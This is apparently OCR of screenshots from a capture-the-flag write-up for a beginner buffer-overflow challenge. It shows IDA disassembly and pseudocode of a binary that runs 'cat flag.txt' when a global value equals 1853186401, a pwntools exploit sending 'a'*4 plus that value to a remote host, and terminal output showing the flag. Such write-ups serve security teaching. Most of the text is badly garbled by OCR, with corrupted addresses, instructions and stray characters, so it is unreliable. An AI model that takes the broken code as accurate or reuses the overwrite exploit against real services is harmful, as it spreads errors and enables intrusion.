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- bk : DEIOEIOENNIBELE sub_WidEEE prac e ¢ CODE NREF: malneSlyp
- bwxt : DOODBOODONSOOEG push  rbp

taut . REINMINGINLINEAT [ rhp. rap
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048686 ; Attributes: bp-based frame

18480686

1D4DOGEE o W Text search (slow!) ® main+sCyp

10400686 g | 7]

ipueees7 | Strine (S

IB4B068BA ., . lag. txt”

|O4BOGEF Paranaters Direction

':g::; [(lcase sensitive () Search Down

i

1048069 [] gegular expressien ® search Up

I04OBESA s [ Identifier

IB48069A

10480698

:g:ggggg B [in:l 211 securences E=======z===z=z====

19480698

104008698 Cancel

IB46069E : — 0 :

IB40069E main proc near : DATA XREF: start+1DTeo

10480698 push rbp

a4eesac mou rbp, rsp

1040069F moy edi, 3Ch ; seconds

I94006AY call _alarm

194006A3 moy rax, cs:stdout

104006B0 mou esi, 0 ; buf

IB4806BS mou rdi, rax ; stream

040068 call _setbuf .

10480680 mou edi, offset s v wlllohb @i ER B foker
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. text:0000000000400698

-text:0000000006480698 ; Attributes: bp-based frame
text:0000000000400698

.text:0000000000480698 ; int __cdecl main{int, char ==, char =)

Ctext:000DB0000048069E main proc near DATA XREF: start+10To
' text:2000000800480698 push rbp
Cbext:B00DB000004806IC mou rbp,. rsp
ctext:800080808048069F mou ledi. 3ch : seconds
. text:B0B0BOBOBO4BOEAY call _alarm
. text:00808020204008A9 mou rax, cs:stdout
. text :B0808080004006E0 nou esi, 0 : buf
. text:0080808000400605 nou rdi, rax 1
_text:008008000004008E8 eall _setbuf
. text:00000000004006E0 nou edi. offset s
_text:00808080004006C2 call _puts
ctext:00000000004006C T maou edi, offset aletsGetHellowo ; “lets get helloworld for bof”
_text:80808080884886CC call _puts
. text:B000000000400601 nou edx, 10h : nbytes
ctext:B08E8080884080606 mou esi. offset umk_B81868 : buf
. text:B00000000040060E nou edi, @ : fd
ctext:80800080084806E0 call _read
Ctext:B0000000B0400GES nou eax, cF:dword_BO186C
.text:8000008020400EER cmp eax, BETSEIETh
. text:B080B0B0B04O0E6FE jnz short loc_HE0GFC
. text:00008020204006F 2 mou eax, O
. text :B0808080804006F T call sub_400686
-text:00000020004006FC
_text:008000000004008FC loc _YDOEFC: : CODE XREF: main+55tTj
. text:00000000004006FC nou eax, 0
_text:0080808088480 701 pop rbp
QO0000ESE DOOOO000000400E5F: main+d [Byncheonized with Hax View-1) _J| J F_J ERr ”[:", ﬂl[}lr”.:'r
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1__int6Y4 __fastcall main{__intBY4 al, char =xxa2, char x=xa3)
2|{
3| alarm(0x3Cu);
4 setbufi{stdout, OLL);
5/ puts(”™” welcome to ctf ™~ “J;
6| puts(“lets get helloworld for bof"”);
7 read(0, &unk_601068, Ox10uLL);
8 if ( dword_60106C == 1853186401 )
9 sub_400686(0LL, &unk_601068):;
16| return OLL;
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ID4 View—4 [ [EPseudocode-B £ MW Occurrences of: CTF [ [ElPseudocode—4 B He
1__inte4 __fastcall main(__int64 al, char »xa2, char »xa3)

2(

w

alarm(©®x3Cu);

setbuf(stdout, GLL);

puts(”™™ welcome to ctf ™~ ")

puts(“lets get helloworld for bof”);

read(@, &unk_601068, 0x10uLL);

if ( dword_60106C == 1853186401 )
sub_H0D686(0LL, &unk_601068);

19 return OLL;
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SHF—TF, BH%R%...6C = 1853186401 B HEA...0686()& ¥ 3k Eflag.
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P x| [FID4 View-4 T Pseudocode—B W Occurrences of: CTF [ Pseudocode-4 B}
1[__int64 sub_400686()
2|(

3 system(“cat flag.txt");
4 return OLL;
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from pwn import *
p=remote('111.200.241.244",65374)
payload ='a'*4+p64(1853186401)
p.sendline(payload)

p.interactive()

p.recv()

jojo@ubuntu: ~/&HE/pwn

XH(F) RIB(E) BE(V) BE(©) ) FEEhH)

ubuntu:~/5MH ellopwn.py
jojo@ubuntu:~/=&[ wnS python hellopwn.py
[+] Opening connection to 111.2060.241.244 on port 65374: Done
[*] Switching to interactive mode

~ Welcome to ctf ~~

le get helloworld for bof
cyberpeace{20cf77ccddfe364a56844f85d010724b}
[ i Got EOF while reading in interactive

FAE R A H FASAlinuxHRIERS, REEH—T
B eI Lo

I vim hellopwn.py

XK B T hellopwn.pyf) S B
ZEWAN i, XFERRRFER

BEAEmAEERT

NS JE BT RAF

jojo@ubuntu: ~/SE/pwn




.sendline(payload)
.interactive()
.recv()

int p.inte

- « 20 . "
jojm_’gubuntu:~,.-"$.—._E,."‘ nS vim hellopwn.py
jojo@ubuntu:~/EH/pw python hellopwn.py I

)5 python xxxx.py B1T3XHF

jojo@ubuntu:~/58 in$S python hellopwn.py

[+] Opening connection to 111.200.241.244 on port 65374:
[*] Switching to interactive mode

~~ welcome to ctf ~~

lets get helloworld for bof
cyberpeace{20cf77ccddf0364a56844f85d0108724b}

[*] Got EOF while reading in interactive

[*] Interrupted

File , line 2, in <module>
p.recv()
File
in recv
_recv(numb, timeout)

Flle

B 3flag
cyberpeace{20cf77ccddf0364a56844f85d010724b}
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i Writeup
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